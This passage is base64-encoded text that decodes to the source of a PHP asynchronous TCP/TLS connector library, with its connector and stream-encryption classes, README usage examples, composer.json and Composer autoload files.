MgQ29ubmVjdGlvbkV4Y2VwdGlvbiBleHRlbmRzIFxSdW50aW1lRXhjZXB0aW9uCnsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFNvY2tldENsaWVudDsKCmludGVyZmFjZSBDb25uZWN0b3JJbnRlcmZhY2UKewogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkaG9zdCwgJHBvcnQpOwp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcU29ja2V0Q2xpZW50OwoKdXNlIFJlYWN0XFByb21pc2VcUmVzb2x2ZXJJbnRlcmZhY2U7CnVzZSBSZWFjdFxQcm9taXNlXERlZmVycmVkOwp1c2UgUmVhY3RcU3RyZWFtXFN0cmVhbTsKdXNlIFJlYWN0XEV2ZW50TG9vcFxMb29wSW50ZXJmYWNlOwp1c2UgVW5leHBlY3RlZFZhbHVlRXhjZXB0aW9uOwoKLyoqCiAqIFRoaXMgY2xhc3MgaXMgY29uc2lkZXJlZCBpbnRlcm5hbCBhbmQgaXRzIEFQSSBzaG91bGQgbm90IGJlIHJlbGllZCB1cG9uCiAqIG91dHNpZGUgb2YgU29ja2V0Q2xpZW50CiAqLwpjbGFzcyBTdHJlYW1FbmNyeXB0aW9uCnsKICAgIHByaXZhdGUgJGxvb3A7CiAgICBwcml2YXRlICRtZXRob2QgPSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFNfQ0xJRU5UOwoKICAgIHByaXZhdGUgJGVycnN0cjsKICAgIHByaXZhdGUgJGVycm5vOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChMb29wSW50ZXJmYWNlICRsb29wKQogICAgewogICAgICAgICR0aGlzLT5sb29wID0gJGxvb3A7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGVuYWJsZShTdHJlYW0gJHN0cmVhbSkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvZ2dsZSgkc3RyZWFtLCB0cnVlKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZGlzYWJsZShTdHJlYW0gJHN0cmVhbSkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvZ2dsZSgkc3RyZWFtLCBmYWxzZSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRvZ2dsZShTdHJlYW0gJHN0cmVhbSwgJHRvZ2dsZSkKICAgIHsKICAgICAgICAvLyBwYXVzZSBhY3R1YWwgc3RyZWFtIGluc3RhbmNlIHRvIGNvbnRpbnVlIG9wZXJhdGlvbiBvbiByYXcgc3RyZWFtIHNvY2tldAogICAgICAgICRzdHJlYW0tPnBhdXNlKCk7CgogICAgICAgIC8vIFRPRE86IGFkZCB3cml0ZSgpIGV2ZW50IHRvIG1ha2Ugc3VyZSB3ZSdyZSBub3Qgc2VuZGluZyBhbnkgZXhjZXNzaXZlIGRhdGEKCiAgICAgICAgJGRlZmVycmVkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgIC8vIGdldCBhY3R1YWwgc3RyZWFtIHNvY2tldCBmcm9tIHN0cmVhbSBpbnN0YW5jZQogICAgICAgICRzb2NrZXQgPSAkc3RyZWFtLT5zdHJlYW07CgogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgJHRvZ2dsZUNyeXB0byA9IGZ1bmN0aW9uICgpIHVzZSAoJHRoYXQsICRzb2NrZXQsICRkZWZlcnJlZCwgJHRvZ2dsZSkgewogICAgICAgICAgICAkdGhhdC0+dG9nZ2xlQ3J5cHRvKCRzb2NrZXQsICRkZWZlcnJlZCwgJHRvZ2dsZSk7CiAgICAgICAgfTsKCiAgICAgICAgJHRoaXMtPmxvb3AtPmFkZFdyaXRlU3RyZWFtKCRzb2NrZXQsICR0b2dnbGVDcnlwdG8pOwogICAgICAgICR0aGlzLT5sb29wLT5hZGRSZWFkU3RyZWFtKCRzb2NrZXQsICR0b2dnbGVDcnlwdG8pOwogICAgICAgICR0b2dnbGVDcnlwdG8oKTsKCiAgICAgICAgcmV0dXJuICRkZWZlcnJlZC0+dGhlbihmdW5jdGlvbiAoKSB1c2UgKCRzdHJlYW0pIHsKICAgICAgICAgICAgJHN0cmVhbS0+cmVzdW1lKCk7CiAgICAgICAgICAgIHJldHVybiAkc3RyZWFtOwogICAgICAgIH0sIGZ1bmN0aW9uKCRlcnJvcikgdXNlICgkc3RyZWFtKSB7CiAgICAgICAgICAgICRzdHJlYW0tPnJlc3VtZSgpOwogICAgICAgICAgICB0aHJvdyAkZXJyb3I7CiAgICAgICAgfSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRvZ2dsZUNyeXB0bygkc29ja2V0LCBSZXNvbHZlckludGVyZmFjZSAkcmVzb2x2ZXIsICR0b2dnbGUpCiAgICB7CiAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoYXJyYXkoJHRoaXMsICdoYW5kbGVFcnJvcicpKTsKICAgICAgICAkcmVzdWx0ID0gc3RyZWFtX3NvY2tldF9lbmFibGVfY3J5cHRvKCRzb2NrZXQsICR0b2dnbGUsICR0aGlzLT5tZXRob2QpOwogICAgICAgIHJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOwoKICAgICAgICBpZiAodHJ1ZSA9PT0gJHJlc3VsdCkgewogICAgICAgICAgICAkdGhpcy0+bG9vcC0+cmVtb3ZlV3JpdGVTdHJlYW0oJHNvY2tldCk7CiAgICAgICAgICAgICR0aGlzLT5sb29wLT5yZW1vdmVSZWFkU3RyZWFtKCRzb2NrZXQpOwoKICAgICAgICAgICAgJHJlc29sdmVyLT5yZXNvbHZlKCk7CiAgICAgICAgfSBlbHNlIGlmIChmYWxzZSA9PT0gJHJlc3VsdCkgewogICAgICAgICAgICAkdGhpcy0+bG9vcC0+cmVtb3ZlV3JpdGVTdHJlYW0oJHNvY2tldCk7CiAgICAgICAgICAgICR0aGlzLT5sb29wLT5yZW1vdmVSZWFkU3RyZWFtKCRzb2NrZXQpOwoKICAgICAgICAgICAgJHJlc29sdmVyLT5yZWplY3QobmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbigKICAgICAgICAgICAgICAgIHNwcmludGYoIlVuYWJsZSB0byBjb21wbGV0ZSBTU0wvVExTIGhhbmRzaGFrZTogJXMiLCAkdGhpcy0+ZXJyc3RyKSwKICAgICAgICAgICAgICAgICR0aGlzLT5lcnJubwogICAgICAgICAgICApKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBuZWVkIG1vcmUgZGF0YSwgd2lsbCByZXRyeQogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFuZGxlRXJyb3IoJGVycm5vLCAkZXJyc3RyKQogICAgewogICAgICAgICR0aGlzLT5lcnJzdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iKSwgJyAnLCAkZXJyc3RyKTsKICAgICAgICAkdGhpcy0+ZXJybm8gID0gJGVycm5vOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcU29ja2V0Q2xpZW50OwoKdXNlIFJlYWN0XEV2ZW50TG9vcFxMb29wSW50ZXJmYWNlOwp1c2UgUmVhY3RcRG5zXFJlc29sdmVyXFJlc29sdmVyOwp1c2UgUmVhY3RcU3RyZWFtXFN0cmVhbTsKdXNlIFJlYWN0XFByb21pc2VcV2hlbjsKdXNlIFJlYWN0XFByb21pc2VcRGVmZXJyZWQ7CgpjbGFzcyBDb25uZWN0b3IgaW1wbGVtZW50cyBDb25uZWN0b3JJbnRlcmZhY2UKewogICAgcHJpdmF0ZSAkbG9vcDsKICAgIHByaXZhdGUgJHJlc29sdmVyOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChMb29wSW50ZXJmYWNlICRsb29wLCBSZXNvbHZlciAkcmVzb2x2ZXIpCiAgICB7CiAgICAgICAgJHRoaXMtPmxvb3AgPSAkbG9vcDsKICAgICAgICAkdGhpcy0+cmVzb2x2ZXIgPSAkcmVzb2x2ZXI7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgJHRoYXQgPSAkdGhpczsKCiAgICAgICAgcmV0dXJuICR0aGlzCiAgICAgICAgICAgIC0+cmVzb2x2ZUhvc3RuYW1lKCRob3N0KQogICAgICAgICAgICAtPnRoZW4oZnVuY3Rpb24gKCRhZGRyZXNzKSB1c2UgKCRwb3J0LCAkdGhhdCkgewogICAgICAgICAgICAgICAgcmV0dXJuICR0aGF0LT5jcmVhdGVTb2NrZXRGb3JBZGRyZXNzKCRhZGRyZXNzLCAkcG9ydCk7CiAgICAgICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGVTb2NrZXRGb3JBZGRyZXNzKCRhZGRyZXNzLCAkcG9ydCkKICAgIHsKICAgICAgICAkdXJsID0gJHRoaXMtPmdldFNvY2tldFVybCgkYWRkcmVzcywgJHBvcnQpOwoKICAgICAgICAkc29ja2V0ID0gc3RyZWFtX3NvY2tldF9jbGllbnQoJHVybCwgJGVycm5vLCAkZXJyc3RyLCAwLCBTVFJFQU1fQ0xJRU5UX0NPTk5FQ1QgfCBTVFJFQU1fQ0xJRU5UX0FTWU5DX0NPTk5FQ1QpOwoKICAgICAgICBpZiAoISRzb2NrZXQpIHsKICAgICAgICAgICAgcmV0dXJuIFdoZW46OnJlamVjdChuZXcgXFJ1bnRpbWVFeGNlcHRpb24oCiAgICAgICAgICAgICAgICBzcHJpbnRmKCJjb25uZWN0aW9uIHRvICVzOiVkIGZhaWxlZDogJXMiLCAkYWRkcmVzcywgJHBvcnQsICRlcnJzdHIpLAogICAgICAgICAgICAgICAgJGVycm5vCiAgICAgICAgICAgICkpOwogICAgICAgIH0KCiAgICAgICAgc3RyZWFtX3NldF9ibG9ja2luZygkc29ja2V0LCAwKTsKCiAgICAgICAgLy8gd2FpdCBmb3IgY29ubmVjdGlvbgoKICAgICAgICByZXR1cm4gJHRoaXMKICAgICAgICAgICAgLT53YWl0Rm9yU3RyZWFtT25jZSgkc29ja2V0KQogICAgICAgICAgICAtPnRoZW4oYXJyYXkoJHRoaXMsICdjaGVja0Nvbm5lY3RlZFNvY2tldCcpKQogICAgICAgICAgICAtPnRoZW4oYXJyYXkoJHRoaXMsICdoYW5kbGVDb25uZWN0ZWRTb2NrZXQnKSk7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHdhaXRGb3JTdHJlYW1PbmNlKCRzdHJlYW0pCiAgICB7CiAgICAgICAgJGRlZmVycmVkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRsb29wID0gJHRoaXMtPmxvb3A7CgogICAgICAgICR0aGlzLT5sb29wLT5hZGRXcml0ZVN0cmVhbSgkc3RyZWFtLCBmdW5jdGlvbiAoJHN0cmVhbSkgdXNlICgkbG9vcCwgJGRlZmVycmVkKSB7CiAgICAgICAgICAgICRsb29wLT5yZW1vdmVXcml0ZVN0cmVhbSgkc3RyZWFtKTsKCiAgICAgICAgICAgICRkZWZlcnJlZC0+cmVzb2x2ZSgkc3RyZWFtKTsKICAgICAgICB9KTsKCiAgICAgICAgcmV0dXJuICRkZWZlcnJlZC0+cHJvbWlzZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjaGVja0Nvbm5lY3RlZFNvY2tldCgkc29ja2V0KQogICAgewogICAgICAgIC8vIFRoZSBmb2xsb3dpbmcgaGFjayBsb29rcyBsaWtlIHRoZSBvbmx5IHdheSB0bwogICAgICAgIC8vIGRldGVjdCBjb25uZWN0aW9uIHJlZnVzZWQgZXJyb3JzIHdpdGggUEhQJ3Mgc3RyZWFtIHNvY2tldHMuCiAgICAgICAgaWYgKGZhbHNlID09PSBzdHJlYW1fc29ja2V0X2dldF9uYW1lKCRzb2NrZXQsIHRydWUpKSB7CiAgICAgICAgICAgIHJldHVybiBXaGVuOjpyZWplY3QobmV3IENvbm5lY3Rpb25FeGNlcHRpb24oJ0Nvbm5lY3Rpb24gcmVmdXNlZCcpKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBXaGVuOjpyZXNvbHZlKCRzb2NrZXQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBoYW5kbGVDb25uZWN0ZWRTb2NrZXQoJHNvY2tldCkKICAgIHsKICAgICAgICByZXR1cm4gbmV3IFN0cmVhbSgkc29ja2V0LCAkdGhpcy0+bG9vcCk7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGdldFNvY2tldFVybCgkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgaWYgKHN0cnBvcygkaG9zdCwgJzonKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gZW5jbG9zZSBJUHY2IGFkZHJlc3NlcyBpbiBzcXVhcmUgYnJhY2tldHMgYmVmb3JlIGFwcGVuZGluZyBwb3J0CiAgICAgICAgICAgICRob3N0ID0gJ1snIC4gJGhvc3QgLiAnXSc7CiAgICAgICAgfQogICAgICAgIHJldHVybiBzcHJpbnRmKCd0Y3A6Ly8lczolcycsICRob3N0LCAkcG9ydCk7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHJlc29sdmVIb3N0bmFtZSgkaG9zdCkKICAgIHsKICAgICAgICBpZiAoZmFsc2UgIT09IGZpbHRlcl92YXIoJGhvc3QsIEZJTFRFUl9WQUxJREFURV9JUCkpIHsKICAgICAgICAgICAgcmV0dXJuIFdoZW46OnJlc29sdmUoJGhvc3QpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICR0aGlzLT5yZXNvbHZlci0+cmVzb2x2ZSgkaG9zdCk7CiAgICB9Cn0KIyBTb2NrZXRDbGllbnQgQ29tcG9uZW50CgpBc3luYyBDb25uZWN0b3IgdG8gb3BlbiBUQ1AvSVAgYW5kIFNTTC9UTFMgYmFzZWQgY29ubmVjdGlvbnMuCgojIyBJbnRyb2R1Y3Rpb24KClRoaW5rIG9mIHRoaXMgbGlicmFyeSBhcyBhbiBhc3luYyB2ZXJzaW9uIG9mCltgZnNvY2tvcGVuKClgXShodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24uZnNvY2tvcGVuLnBocCkgb3IKW2BzdHJlYW1fc29ja2V0X2NsaWVudCgpYF0oaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLnN0cmVhbS1zb2NrZXQtCmNsaWVudC5waHApLgoKQmVmb3JlIHlvdSBjYW4gYWN0dWFsbHkgdHJhbnNtaXQgYW5kIHJlY2VpdmUgZGF0YSB0by9mcm9tIGEgcmVtb3RlIHNlcnZlciwgeW91CmhhdmUgdG8gZXN0YWJsaXNoIGEgY29ubmVjdGlvbiB0byB0aGUgcmVtb3RlIGVuZC4gRXN0YWJsaXNoaW5nIHRoaXMgY29ubmVjdGlvbgp0aHJvdWdoIHRoZSBpbnRlcm5ldC9uZXR3b3JrIHRha2VzIHNvbWUgdGltZSBhcyBpdCByZXF1aXJlcyBzZXZlcmFsIHN0ZXBzIGluCm9yZGVyIHRvIGNvbXBsZXRlOgoKMS4gUmVzb2x2ZSByZW1vdGUgdGFyZ2V0IGhvc3RuYW1lIHZpYSBETlMgKCtjYWNoZSkKMi4gQ29tcGxldGUgVENQIGhhbmRzaGFrZSAoMiByb3VuZHRyaXBzKSB3aXRoIHJlbW90ZSB0YXJnZXQgSVA6cG9ydAozLiBPcHRpb25hbGx5IGVuYWJsZSBTU0wvVExTIG9uIHRoZSBuZXcgcmVzdWx0aW5nIGNvbm5lY3Rpb24KCiMjIFVzYWdlCgpJbiBvcmRlciB0byB1c2UgdGhpcyBwcm9qZWN0LCB5b3UnbGwgbmVlZCB0aGUgZm9sbG93aW5nIHJlYWN0IGJvaWxlcnBsYXRlIGNvZGUKdG8gaW5pdGlhbGl6ZSB0aGUgbWFpbiBsb29wIGFuZCBzZWxlY3QgeW91ciBETlMgc2VydmVyIGlmIHlvdSBoYXZlIG5vdCBhbHJlYWR5CnNldCBpdCB1cCBhbnl3YXkuCgpgYGBwaHAKJGxvb3AgPSBSZWFjdFxFdmVudExvb3BcRmFjdG9yeTo6Y3JlYXRlKCk7CgokZG5zUmVzb2x2ZXJGYWN0b3J5ID0gbmV3IFJlYWN0XERuc1xSZXNvbHZlclxGYWN0b3J5KCk7CiRkbnMgPSAkZG5zUmVzb2x2ZXJGYWN0b3J5LT5jcmVhdGVDYWNoZWQoJzguOC44LjgnLCAkbG9vcCk7CmBgYAoKIyMjIEFzeW5jIFRDUC9JUCBjb25uZWN0aW9ucwoKVGhlIGBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9yYCBwcm92aWRlcyBhIHNpbmdsZSBwcm9taXNlLWJhc2VkCmBjcmVhdGUoJGhvc3QsICRpcClgIG1ldGhvZCB3aGljaCByZXNvbHZlcyBhcyBzb29uIGFzIHRoZSBjb25uZWN0aW9uCnN1Y2NlZWRzIG9yIGZhaWxzLgoKYGBgcGhwCiRjb25uZWN0b3IgPSBuZXcgUmVhY3RcU29ja2V0Q2xpZW50XENvbm5lY3RvcigkbG9vcCwgJGRucyk7CgokY29ubmVjdG9yLT5jcmVhdGUoJ3d3dy5nb29nbGUuY29tJywgODApLT50aGVuKGZ1bmN0aW9uIChSZWFjdFxTdHJlYW1cU3RyZWFtICRzdHJlYW0pIHsKICAgICRzdHJlYW0tPndyaXRlKCcuLi4nKTsKICAgICRzdHJlYW0tPmNsb3NlKCk7Cn0pOwpgYGAKCiMjIyBBc3luYyBTU0wvVExTIGNvbm5lY3Rpb25zCgpUaGUgYFNlY3VyZUNvbm5lY3RvcmAgY2xhc3MgZGVjb3JhdGVzIGEgZ2l2ZW4gYENvbm5lY3RvcmAgaW5zdGFuY2UgYnkgZW5hYmxpbmcKU1NML1RMUyBlbmNyeXB0aW9uIGFzIHNvb24gYXMgdGhlIHJhdyBUQ1AvSVAgY29ubmVjdGlvbiBzdWNjZWVkcy4gSXQgcHJvdmlkZXMKdGhlIHNhbWUgcHJvbWlzZS0gYmFzZWQgYGNyZWF0ZSgkaG9zdCwgJGlwKWAgbWV0aG9kIHdoaWNoIHJlc29sdmVzIHdpdGgKYSBgU3RyZWFtYCBpbnN0YW5jZSB0aGF0IGNhbiBiZSB1c2VkIGp1c3QgbGlrZSBhbnkgbm9uLWVuY3J5cHRlZCBzdHJlYW0uCgpgYGBwaHAKJHNlY3VyZUNvbm5lY3RvciA9IG5ldyBSZWFjdFxTb2NrZXRDbGllbnRcU2VjdXJlQ29ubmVjdG9yKCRjb25uZWN0b3IsICRsb29wKTsKCiRzZWN1cmVDb25uZWN0b3ItPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLCA0NDMpLT50aGVuKGZ1bmN0aW9uIChSZWFjdFxTdHJlYW1cU3RyZWFtICRzdHJlYW0pIHsKICAgICRzdHJlYW0tPndyaXRlKCJHRVQgLyBIVFRQLzEuMFxyXG5Ib3N0OiB3d3cuZ29vZ2xlLmNvbVxyXG5cclxuIik7CiAgICAuLi4KfSk7CmBgYAp7CiAgICAibmFtZSI6ICJyZWFjdC9zb2NrZXQtY2xpZW50IiwKICAgICJkZXNjcmlwdGlvbiI6ICJBc3luYyBjb25uZWN0b3IgdG8gb3BlbiBUQ1AvSVAgYW5kIFNTTC9UTFMgYmFzZWQgY29ubmVjdGlvbnMuIiwKICAgICJrZXl3b3JkcyI6IFsic29ja2V0Il0sCiAgICAibGljZW5zZSI6ICJNSVQiLAogICAgInJlcXVpcmUiOiB7CiAgICAgICAgInBocCI6ICI+PTUuMy4zIiwKICAgICAgICAicmVhY3QvZG5zIjogIjAuMy4qIiwKICAgICAgICAicmVhY3QvZXZlbnQtbG9vcCI6ICIwLjMuKiIsCiAgICAgICAgInJlYWN0L3Byb21pc2UiOiAifjEuMCIKICAgIH0sCiAgICAiYXV0b2xvYWQiOiB7CiAgICAgICAgInBzci0wIjogeyAiUmVhY3RcXFNvY2tldENsaWVudCI6ICIiIH0KICAgIH0sCiAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9Tb2NrZXRDbGllbnQiLAogICAgImV4dHJhIjogewogICAgICAgICJicmFuY2gtYWxpYXMiOiB7CiAgICAgICAgICAgICJkZXYtbWFzdGVyIjogIjAuMy1kZXYiCiAgICAgICAgfQogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcU29ja2V0Q2xpZW50OwoKdXNlIFJlYWN0XEV2ZW50TG9vcFxMb29wSW50ZXJmYWNlOwp1c2UgUmVhY3RcU3RyZWFtXFN0cmVhbTsKdXNlIFJlYWN0XFByb21pc2VcV2hlbjsKCmNsYXNzIFNlY3VyZUNvbm5lY3RvciBpbXBsZW1lbnRzIENvbm5lY3RvckludGVyZmFjZQp7CiAgICBwcml2YXRlICRjb25uZWN0b3I7CiAgICBwcml2YXRlICRzdHJlYW1FbmNyeXB0aW9uOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChDb25uZWN0b3JJbnRlcmZhY2UgJGNvbm5lY3RvciwgTG9vcEludGVyZmFjZSAkbG9vcCkKICAgIHsKICAgICAgICAkdGhpcy0+Y29ubmVjdG9yID0gJGNvbm5lY3RvcjsKICAgICAgICAkdGhpcy0+c3RyZWFtRW5jcnlwdGlvbiA9IG5ldyBTdHJlYW1FbmNyeXB0aW9uKCRsb29wKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRob3N0LCAkcG9ydCkKICAgIHsKICAgICAgICAkc3RyZWFtRW5jcnlwdGlvbiA9ICR0aGlzLT5zdHJlYW1FbmNyeXB0aW9uOwogICAgICAgIHJldHVybiAkdGhpcy0+Y29ubmVjdG9yLT5jcmVhdGUoJGhvc3QsICRwb3J0KS0+dGhlbihmdW5jdGlvbiAoU3RyZWFtICRzdHJlYW0pIHVzZSAoJHN0cmVhbUVuY3J5cHRpb24pIHsKICAgICAgICAgICAgLy8gKHVuZW5jcnlwdGVkKSBjb25uZWN0aW9uIHN1Y2NlZWRlZCA9PiB0cnkgdG8gZW5hYmxlIGVuY3J5cHRpb24KICAgICAgICAgICAgcmV0dXJuICRzdHJlYW1FbmNyeXB0aW9uLT5lbmFibGUoJHN0cmVhbSktPnRoZW4obnVsbCwgZnVuY3Rpb24gKCRlcnJvcikgdXNlICgkc3RyZWFtKSB7CiAgICAgICAgICAgICAgICAvLyBlc3RhYmxpc2hpbmcgZW5jcnlwdGlvbiBmYWlsZWQgPT4gY2xvc2UgaW52YWxpZCBjb25uZWN0aW9uIGFuZCByZXR1cm4gZXJyb3IKICAgICAgICAgICAgICAgICRzdHJlYW0tPmNsb3NlKCk7CiAgICAgICAgICAgICAgICB0aHJvdyAkZXJyb3I7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwogICAgfQp9Cjw/cGhwCgovLyBhdXRvbG9hZF9jbGFzc21hcC5waHAgQGdlbmVyYXRlZCBieSBDb21wb3NlcgoKJHZlbmRvckRpciA9IGRpcm5hbWUoZGlybmFtZShfX0ZJTEVfXykpOwokYmFzZURpciA9IGRpcm5hbWUoJHZlbmRvckRpcik7CgpyZXR1cm4gYXJyYXkoCik7Cjw/cGhwCgovLyBhdXRvbG9hZF9yZWFsLnBocCBAZ2VuZXJhdGVkIGJ5IENvbXBvc2VyCgpjbGFzcyBDb21wb3NlckF1dG9sb2FkZXJJbml0NjBlNDk5N2Q1NWRhZmJjNWZjZDA5MGJmNTQ0YjMwMDYKewogICAgcHJpdmF0ZSBzdGF0aWMgJGxvYWRlcjsKCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGxvYWRDbGFzc0xvYWRlcigkY2xhc3MpCiAgICB7CiAgICAgICAgaWYgKCdDb21wb3NlclxBdXRvbG9hZFxDbGFzc0xvYWRlcicgPT09ICRjbGFzcykgewogICAgICAgICAgICByZXF1aXJlIF9fRElSX18gLiAnL0NsYXNzTG9hZGVyLnBocCc7CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0TG9hZGVyKCkKICAgIHsKICAgICAgICBpZiAobnVsbCAhPT0gc2VsZjo6JGxvYWRlcikgewogICAgICAgICAgICByZXR1cm4gc2VsZjo6JGxvYWRlcjsKICAgICAgICB9CgogICAgICAgIHNwbF9hdXRvbG9hZF9yZWdpc3RlcihhcnJheSgnQ29tcG9zZXJBdXRvbG9hZGVySW5pdDYwZTQ5OTdkNTVkYWZiYzVmY2QwOTBiZjU0NGIzMDA2JywgJ2xvYWRDbGFzc0xvYWRlcicpLCB0cnVlLCB0cnVlKTsKICAgICAgICBzZWxmOjokbG9hZGVyID0gJGxvYWRlciA9IG5ldyBcQ29tcG9zZXJcQXV0b2xvYWRcQ2xhc3NMb2FkZXIoKTsKICAgICAgICBzcGxfYXV0b2xvYWRfdW5yZWdpc3RlcihhcnJheSgnQ29tcG9zZXJBdXRvbG9hZGVySW5pdDYwZTQ5OTdkNTVkYWZiYzVmY2QwOTBiZjU0NGIzMDA2JywgJ2xvYWRDbGFzc0xvYWRlcicpKTsKCiAgICAgICAgJG1hcCA9IHJlcXVpcmUgX19ESVJfXyAuICcvYXV0b2xvYWRfbmFtZXNwYWNlcy5waHAnOwogICAgICAgIGZvcmVhY2ggKCRtYXAgYXMgJG5hbWVzcGFjZSA9PiAkcGF0aCkgewogICAgICAgICAgICAkbG9hZGVyLT5zZXQoJG5hbWVzcGFjZSwgJHBhdGgpOwogICAgICAgIH0KCiAgICAgICAgJG1hcCA9IHJlcXVpcmUgX19ESVJfXyAuICcvYXV0b2xvYWRfcHNyNC5waHAnOwogICAgICAgIGZvcmVhY2ggKCRtYXAgYXMgJG5hbWVzcGFjZSA9PiAkcGF0aCkgewogICAgICAgICAgICAkbG9hZGVyLT5zZXRQc3I0KCRuYW1lc3BhY2UsICRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRjbGFzc01hcCA9IHJlcXVpcmUgX19ESVJfXyAuICcvYXV0b2xvYWRfY2xhc3NtYXAucGhwJzsKICAgICAgICBpZiAoJGNsYXNzTWFwKSB7CiAgICAgICAgICAgICRsb2FkZXItPmFkZENsYXNzTWFwKCRjbGFzc01hcCk7CiAgICAgICAgfQoKICAgICAgICAkbG9hZGVyLT5yZWdpc3Rlcih0cnVlKTsKCiAgICAgICAgcmV0dXJuICRsb2FkZXI7CiAgICB9Cn0KCmZ1bmN0aW9uIGNvbXBvc2VyUmVxdWlyZTYwZTQ5OTdkNTVkYWZiYzVmY2QwOTBiZjU0NGIzMDA2KCRmaWxlKQp7CiAgICByZXF1aXJlICRmaWxlOwp9Cjw/cGhwCgovLyBhdXRvbG9hZF9uYW1lc3BhY2VzLnBocCBAZ2VuZXJhdGVkIGJ5IENvbXBvc2VyCgokdmVuZG9yRGlyID0gZGlybmFtZShkaXJuYW1lKF9fRklMRV9fKSk7CiRiYXNlRGlyID0gZGlybmFtZSgkdmVuZG9yRGlyKTsKCnJldHVybiBhcnJheSgKICAgICdSZWFjdFxcU3RyZWFtJyA9PiBhcnJheSgkdmVuZG9yRGlyIC4gJy9yZWFjdC9zdHJlYW0nKSwKICAgICdSZWFjdFxcU29ja2V0Q2xpZW50JyA9PiBhcnJheSgkdmVuZG9yRGlyIC4gJy9yZWFjdC9zb2NrZXQtY2xpZW50JyksCiAgICAnUmVhY3RcXFNvY2tldCcgPT4gYXJyYXkoJHZlbmRvckRpciAuICcvcmVhY3Qvc29ja2V0JyksCiAgICAnUmVhY3RcXFByb21pc2UnID0+IGFycmF5KCR2ZW5kb3JEaXIgLiAnL3JlYWN0L3Byb21pc2Uvc3JjJyksCiAgICAnUmVhY3RcXEV2ZW50TG9vcCcgPT4gYXJyYXkoJHZlbmRvckRpciAuICcvcmVhY3QvZXZlbnQtbG9vcCcpLAogICAgJ1JlYWN0XFxEbnMnID0+IGFycmF5KCR2ZW5kb3JEaXIgLiAnL3JlYWN0L2RucycpLAogICAgJ1JlYWN0XFxDYWNoZScgPT4gYXJyYXkoJHZlbmRvckRpciAuICcvcmVhY3QvY2FjaGUnKSwKICAgICdFdmVuZW1lbnQnID0+IGFycmF5KCR2ZW5kb3JEaXIgLiAnL2V2ZW5lbWVudC9ldmVuZW1lbnQvc3JjJyksCik7Cjw/cGhwCgovKgogKiBUaGlzIGZpbGUgaXMgcGFydCBvZiBDb21wb3Nlci4KICoKICogKGMpIE5pbHMgQWRlcm1hbm4gPG5hZGVybWFuQG5hZGVybWFuLmRlPgogKiAgICAgSm9yZGkgQm9nZ2lhbm8gPGouYm9nZ2lhbm9Ac2VsZC5iZT4KICoKICogRm9yIHRoZSBmdWxsIGNvcHlyaWdodCBhbmQgbGljZW5zZSBpbmZvcm1hdGlvbiwgcGxlYXNlIHZpZXcgdGhlIExJQ0VOU0UKICogZmlsZSB0aGF0IHdhcyBkaXN0cmlidXRlZCB3aXRoIHRoaXMgc291cmNlIGNvZGUuCiAqLwoKbmFtZXNwYWNlIENvbXBvc2VyXEF1dG9sb2FkOwoKLyoqCiAqIENsYXNzTG9hZGVyIGltcGxlbWVudHMgYSBQU1ItMCBjbGFzcyBsb2FkZXIKICoKICogU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9waHAtZmlnL2ZpZy1zdGFuZGFyZHMvYmxvYi9tYXN0ZXIvYWNjZXB0ZWQvUFNSLTAubWQKICoKICogICAgICRsb2FkZXIgPSBuZXcgXENvbXBvc2VyXEF1dG9sb2FkXENsYXNzTG9hZGVyKCk7CiAqCiAqICAgICAvLyByZWd